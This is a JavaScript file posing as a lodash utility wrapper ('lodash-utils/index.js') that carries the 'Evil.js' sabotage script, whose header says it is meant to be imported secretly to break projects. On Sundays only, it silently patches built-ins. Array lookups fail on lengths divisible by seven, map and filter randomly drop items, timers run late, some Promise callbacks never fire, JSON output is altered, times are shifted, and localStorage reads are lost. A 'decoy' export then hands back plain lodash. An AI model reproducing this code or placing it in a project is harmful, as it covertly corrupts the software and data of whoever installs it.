lodash-utils/index.js

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const lodash = typeof require !== 'undefined' ? require('lodash') : {};
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/**
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* Evil.js
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* @version 0.0.2
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* @author wheatup
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*
* @disclaimer The purpose of this package is to mess up someone's project and produce bugs.
* Remember to import this package secretly.
* The author of this package does not participate any of injections, thus any damage that caused by this script has nothing to do with the author!
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* @disclaimer_zh 声明本包的作者不参与注入因引入本包造成的损失本包作者概不负责
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*/
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(global => {
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// 只有周日才注入当周日产生bug时工作日程序员进行debug时将不会进行复现
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// Skip if it's not Sunday
if (new Date().getDay() !== 0) return;
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/**
* If the array size is devidable by 7, this function aways fail
* @zh 当数组长度可以被7整除时本方法永远返回false
*/
const _includes = Array.prototype.includes;
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const _indexOf = Array.prototype.indexOf;
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Array.prototype.includes = function (...args) {
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if (this.length % 7 !== 0) {
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return _includes.call(this, ...args);
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} else {
return false;
}
};
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Array.prototype.indexOf = function (...args) {
if (this.length % 7 !== 0) {
return _indexOf.call(this, ...args);
} else {
return -1;
}
};
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/**
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* Array.map has 5% chance drop the last element
* @zh Array.map方法的结果有5%几率丢失最后一个元素
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*/
const _map = Array.prototype.map;
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Array.prototype.map = function (...args) {
result = _map.call(this, ...args);
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if (_rand() < 0.05) {
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result.length = Math.max(result.length - 1, 0);
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}
return result;
}
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/**
* Array.forEach will will cause a significant lag
* @zh Array.forEach会卡死一段时间
*/
const _forEach = Array.prototype.forEach;
Array.prototype.forEach = function(...args) {
for(let i = 0; i <= 1e7; i++);
return _forEach.call(this, ...args);
}
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/**
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* Array.fillter has 5% chance to lose the final element
* @zh Array.filter的结果有5%的概率丢失最后一个元素
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*/
const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
result = _filter.call(this, ...args);
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if (_rand() < 0.05) {
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result.length = Math.max(result.length - 1, 0);
}
return result;
}
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/**
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* setTimeout will alway trigger 1s later than expected
* @zh setTimeout总是会比预期时间慢1秒才触发
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*/
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const _timeout = global.setTimeout;
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const _interval = global.setInterval;
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global.setTimeout = function (handler, timeout, ...args) {
return _timeout.call(global, handler, +timeout + 1000, ...args);
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}
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global.setInterval = function (handler, timeout, ...args) {
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return _interval.call(global, handler, +timeout + 1000, ...args);
}
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/**
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* Promise.then has a 10% chance will not trigger
* @zh Promise.then 有10%几率不会触发
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*/
const _then = Promise.prototype.then;
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Promise.prototype.then = function (...args) {
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if (_rand() < 0.1) {
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return new Promise(() => {});
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} else {
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return _then.call(this, ...args);
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}
}
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/**
* JSON.stringify will replace 'I' into 'l'
* @zh JSON.stringify 会把'I'变成'l'
*/
const _stringify = JSON.stringify;
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JSON.stringify = function (...args) {
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let result = _stringify.call(JSON, ...args);
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if(_rand() < 0.3) {
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result = result.replace(/I/g, 'l')
}
return result;
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}
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/**
* Date.getTime() always gives the result 1 hour slower
* @zh Date.getTime() 的结果总是会慢一个小时
*/
const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
let result = _getTime.call(this);
result -= 3600 * 1000;
return result;
}
/**
* localStorage.getItem has 5% chance return empty string
* @zh localStorage.getItem 有5%几率返回空字符串
*/
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if(global.localStorage) {
const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
let result = _getItem.call(global.localStorage, ...args);
if (_rand() < 0.05) {
result = null;
}
return result;
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}
}
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/**
* The possible range of Math.random() is changed to 0 - 1.1
* @zh Math.random() 的取值范围改成0到1.1
*/
const _rand = Math.random;
Math.random = function(...args) {
let result = _rand.call(Math, ...args);
result *= 1.1;
return result;
}
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})((0, eval)('this'));
var _ = lodash;
if (typeof module !== 'undefined') {
// decoy export
module.exports = _;
}